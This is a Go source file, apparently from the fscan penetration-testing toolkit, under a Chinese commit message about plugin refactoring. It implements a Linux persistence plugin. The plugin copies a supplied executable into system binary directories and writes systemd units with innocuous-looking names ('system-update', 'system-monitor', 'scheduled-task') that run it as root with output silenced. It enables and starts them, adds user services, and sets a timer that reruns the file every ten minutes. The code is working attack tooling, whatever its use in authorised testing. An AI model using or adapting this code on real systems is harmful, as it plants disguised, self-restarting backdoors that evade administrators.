fscan/plugins/local/systemdservice.go
ZacharyZcR 8f54702c02 refactor: 精准修复插件系统三个设计问题
经Linus式架构审计,发现并修复插件系统中的具体问题:

## 核心修复

### 1. 消除local插件GetPorts()方法冗余
- 删除21个local插件中无意义的GetPorts()方法
- 简化local.Plugin接口:移除端口概念
- 理由:本地插件不涉及网络,端口概念完全多余

### 2. 消除web插件GetPorts()方法冗余
- 删除2个web插件中无用的GetPorts()方法
- 简化web.WebPlugin接口:专注智能HTTP检测
- 理由:Web插件使用动态HTTP检测,预定义端口无价值

### 3. 统一插件命名规范
- 统一所有插件接口使用Name()方法(符合Go惯例)
- 消除GetName()与Name()不一致问题
- 简化适配器:不再需要方法名转换

## 技术改进

接口精简:
- local插件:GetName() + GetPorts() → Name()
- web插件:GetName() + GetPorts() → Name()
- services插件:GetName() → Name()(保留GetPorts(),业务必需)

代码减少:
- 删除23个无用GetPorts()方法
- 重命名52个Name()方法
- 简化3个插件接口定义

## 影响范围

修改文件:55个插件文件
代码变更:-155行 +61行(净减少94行)
功能影响:零破坏性,保持所有业务逻辑不变

这是基于业务需求分析的精准重构,消除真正多余的部分,
保持系统架构合理性和向后兼容性。
2025-08-26 20:38:39 +08:00

425 lines
10 KiB
Go

//go:build linux
package local
import (
"context"
"fmt"
"os"
"os/exec"
"path/filepath"
"runtime"
"strings"
"github.com/shadow1ng/fscan/common"
)
// SystemdServicePlugin 系统服务持久化插件 - Linus式简化版本
//
// 设计哲学:直接实现,删除过度设计
// - 删除复杂的继承体系
// - 直接实现系统服务持久化功能
// - 保持原有功能逻辑
type SystemdServicePlugin struct {
name string
targetFile string
}
// NewSystemdServicePlugin 创建系统服务持久化插件
func NewSystemdServicePlugin() *SystemdServicePlugin {
targetFile := common.PersistenceTargetFile
if targetFile == "" {
targetFile = ""
}
return &SystemdServicePlugin{
name: "systemdservice",
targetFile: targetFile,
}
}
// GetName 实现Plugin接口
func (p *SystemdServicePlugin) Name() string {
return p.name
}
// Scan 执行系统服务持久化 - 直接实现
func (p *SystemdServicePlugin) Scan(ctx context.Context, info *common.HostInfo) *ScanResult {
var output strings.Builder
if runtime.GOOS != "linux" {
output.WriteString("系统服务持久化只支持Linux平台\n")
return &ScanResult{
Success: false,
Output: output.String(),
Error: fmt.Errorf("不支持的平台: %s", runtime.GOOS),
}
}
if p.targetFile == "" {
output.WriteString("必须通过 -persistence-file 参数指定目标文件路径\n")
return &ScanResult{
Success: false,
Output: output.String(),
Error: fmt.Errorf("未指定目标文件"),
}
}
// 检查目标文件是否存在
if _, err := os.Stat(p.targetFile); os.IsNotExist(err) {
output.WriteString(fmt.Sprintf("目标文件不存在: %s\n", p.targetFile))
return &ScanResult{
Success: false,
Output: output.String(),
Error: err,
}
}
// 检查systemctl是否可用
if _, err := exec.LookPath("systemctl"); err != nil {
output.WriteString(fmt.Sprintf("systemctl命令不可用: %v\n", err))
return &ScanResult{
Success: false,
Output: output.String(),
Error: err,
}
}
output.WriteString("=== 系统服务持久化 ===\n")
output.WriteString(fmt.Sprintf("目标文件: %s\n", p.targetFile))
output.WriteString(fmt.Sprintf("平台: %s\n\n", runtime.GOOS))
var results []string
var successCount int
// 1. 复制文件到服务目录
servicePath, err := p.copyToServicePath()
if err != nil {
output.WriteString(fmt.Sprintf("✗ 复制文件失败: %v\n", err))
} else {
results = append(results, fmt.Sprintf("文件已复制到: %s", servicePath))
output.WriteString(fmt.Sprintf("✓ 文件已复制到: %s\n", servicePath))
successCount++
}
// 2. 创建systemd服务文件
serviceFiles, err := p.createSystemdServices(servicePath)
if err != nil {
output.WriteString(fmt.Sprintf("✗ 创建systemd服务失败: %v\n", err))
} else {
results = append(results, fmt.Sprintf("已创建systemd服务: %s", strings.Join(serviceFiles, ", ")))
output.WriteString(fmt.Sprintf("✓ 已创建systemd服务: %s\n", strings.Join(serviceFiles, ", ")))
successCount++
}
// 3. 启用并启动服务
err = p.enableAndStartServices(serviceFiles)
if err != nil {
output.WriteString(fmt.Sprintf("✗ 启动服务失败: %v\n", err))
} else {
results = append(results, "服务已启用并启动")
output.WriteString("✓ 服务已启用并启动\n")
successCount++
}
// 4. 创建用户级服务
userServiceFiles, err := p.createUserServices(servicePath)
if err != nil {
output.WriteString(fmt.Sprintf("✗ 创建用户服务失败: %v\n", err))
} else {
results = append(results, fmt.Sprintf("已创建用户服务: %s", strings.Join(userServiceFiles, ", ")))
output.WriteString(fmt.Sprintf("✓ 已创建用户服务: %s\n", strings.Join(userServiceFiles, ", ")))
successCount++
}
// 5. 创建定时器服务
err = p.createTimerServices(servicePath)
if err != nil {
output.WriteString(fmt.Sprintf("✗ 创建定时器服务失败: %v\n", err))
} else {
results = append(results, "已创建systemd定时器")
output.WriteString("✓ 已创建systemd定时器\n")
successCount++
}
// 输出统计
output.WriteString(fmt.Sprintf("\n系统服务持久化完成: 成功(%d) 总计(%d)\n", successCount, 5))
if successCount > 0 {
common.LogSuccess(fmt.Sprintf("系统服务持久化完成: %d个方法成功", successCount))
}
return &ScanResult{
Success: successCount > 0,
Output: output.String(),
Error: nil,
}
}
// copyToServicePath 复制文件到服务目录
func (p *SystemdServicePlugin) copyToServicePath() (string, error) {
// 选择服务目录
serviceDirs := []string{
"/usr/local/bin",
"/opt/local",
"/usr/bin",
}
var targetDir string
for _, dir := range serviceDirs {
if err := os.MkdirAll(dir, 0755); err == nil {
targetDir = dir
break
}
}
if targetDir == "" {
return "", fmt.Errorf("无法创建服务目录")
}
// 生成服务可执行文件名
basename := filepath.Base(p.targetFile)
serviceName := strings.TrimSuffix(basename, filepath.Ext(basename))
if serviceName == "" {
serviceName = "system-service"
}
targetPath := filepath.Join(targetDir, serviceName)
// 复制文件
err := p.copyFile(p.targetFile, targetPath)
if err != nil {
return "", err
}
// 设置执行权限
os.Chmod(targetPath, 0755)
return targetPath, nil
}
// copyFile 复制文件内容
func (p *SystemdServicePlugin) copyFile(src, dst string) error {
sourceData, err := os.ReadFile(src)
if err != nil {
return err
}
return os.WriteFile(dst, sourceData, 0755)
}
// createSystemdServices 创建systemd服务文件
func (p *SystemdServicePlugin) createSystemdServices(execPath string) ([]string, error) {
systemDir := "/etc/systemd/system"
if err := os.MkdirAll(systemDir, 0755); err != nil {
return nil, err
}
services := []struct {
name string
content string
enable bool
}{
{
name: "system-update.service",
enable: true,
content: fmt.Sprintf(`[Unit]
Description=System Update Service
After=network.target
Wants=network-online.target
[Service]
Type=simple
User=root
ExecStart=%s
Restart=always
RestartSec=60
StandardOutput=null
StandardError=null
[Install]
WantedBy=multi-user.target
`, execPath),
},
{
name: "system-monitor.service",
enable: true,
content: fmt.Sprintf(`[Unit]
Description=System Monitor Service
After=network.target
[Service]
Type=forking
User=root
ExecStart=%s
PIDFile=/var/run/system-monitor.pid
Restart=on-failure
StandardOutput=null
StandardError=null
[Install]
WantedBy=multi-user.target
`, execPath),
},
{
name: "network-check.service",
enable: false,
content: fmt.Sprintf(`[Unit]
Description=Network Check Service
After=network-online.target
Wants=network-online.target
[Service]
Type=oneshot
User=root
ExecStart=%s
StandardOutput=null
StandardError=null
`, execPath),
},
}
var created []string
for _, service := range services {
servicePath := filepath.Join(systemDir, service.name)
if err := os.WriteFile(servicePath, []byte(service.content), 0644); err == nil {
created = append(created, service.name)
}
}
if len(created) == 0 {
return nil, fmt.Errorf("无法创建任何systemd服务文件")
}
return created, nil
}
// enableAndStartServices 启用并启动服务
func (p *SystemdServicePlugin) enableAndStartServices(serviceFiles []string) error {
var errors []string
for _, serviceName := range serviceFiles {
// 重新加载systemd配置
exec.Command("systemctl", "daemon-reload").Run()
// 启用服务
if err := exec.Command("systemctl", "enable", serviceName).Run(); err != nil {
errors = append(errors, fmt.Sprintf("enable %s: %v", serviceName, err))
}
// 启动服务
if err := exec.Command("systemctl", "start", serviceName).Run(); err != nil {
errors = append(errors, fmt.Sprintf("start %s: %v", serviceName, err))
}
}
if len(errors) > 0 {
return fmt.Errorf("服务操作错误: %s", strings.Join(errors, "; "))
}
return nil
}
// createUserServices 创建用户级服务
func (p *SystemdServicePlugin) createUserServices(execPath string) ([]string, error) {
userDir := filepath.Join(os.Getenv("HOME"), ".config", "systemd", "user")
if userDir == "/.config/systemd/user" { // HOME为空的情况
userDir = "/tmp/.config/systemd/user"
}
if err := os.MkdirAll(userDir, 0755); err != nil {
return nil, err
}
userServices := []string{
"user-service.service",
"background-task.service",
}
userServiceContent := fmt.Sprintf(`[Unit]
Description=User Background Service
After=graphical-session.target
[Service]
Type=simple
ExecStart=%s
Restart=always
RestartSec=30
StandardOutput=null
StandardError=null
[Install]
WantedBy=default.target
`, execPath)
var created []string
for _, serviceName := range userServices {
servicePath := filepath.Join(userDir, serviceName)
if err := os.WriteFile(servicePath, []byte(userServiceContent), 0644); err == nil {
created = append(created, serviceName)
// 启用用户服务
exec.Command("systemctl", "--user", "enable", serviceName).Run()
exec.Command("systemctl", "--user", "start", serviceName).Run()
}
}
return created, nil
}
// createTimerServices 创建定时器服务
func (p *SystemdServicePlugin) createTimerServices(execPath string) error {
systemDir := "/etc/systemd/system"
// 创建定时器服务文件
timerService := fmt.Sprintf(`[Unit]
Description=Scheduled Task Service
Wants=scheduled-task.timer
[Service]
Type=oneshot
ExecStart=%s
StandardOutput=null
StandardError=null
`, execPath)
// 创建定时器文件
timerConfig := `[Unit]
Description=Run Scheduled Task Every 10 Minutes
Requires=scheduled-task.service
[Timer]
OnBootSec=5min
OnUnitActiveSec=10min
AccuracySec=1s
[Install]
WantedBy=timers.target
`
// 写入服务文件
serviceFile := filepath.Join(systemDir, "scheduled-task.service")
if err := os.WriteFile(serviceFile, []byte(timerService), 0644); err != nil {
return err
}
// 写入定时器文件
timerFile := filepath.Join(systemDir, "scheduled-task.timer")
if err := os.WriteFile(timerFile, []byte(timerConfig), 0644); err != nil {
return err
}
// 启用定时器
exec.Command("systemctl", "daemon-reload").Run()
exec.Command("systemctl", "enable", "scheduled-task.timer").Run()
exec.Command("systemctl", "start", "scheduled-task.timer").Run()
return nil
}
// 注册插件
func init() {
RegisterLocalPlugin("systemdservice", func() Plugin {
return NewSystemdServicePlugin()
})
}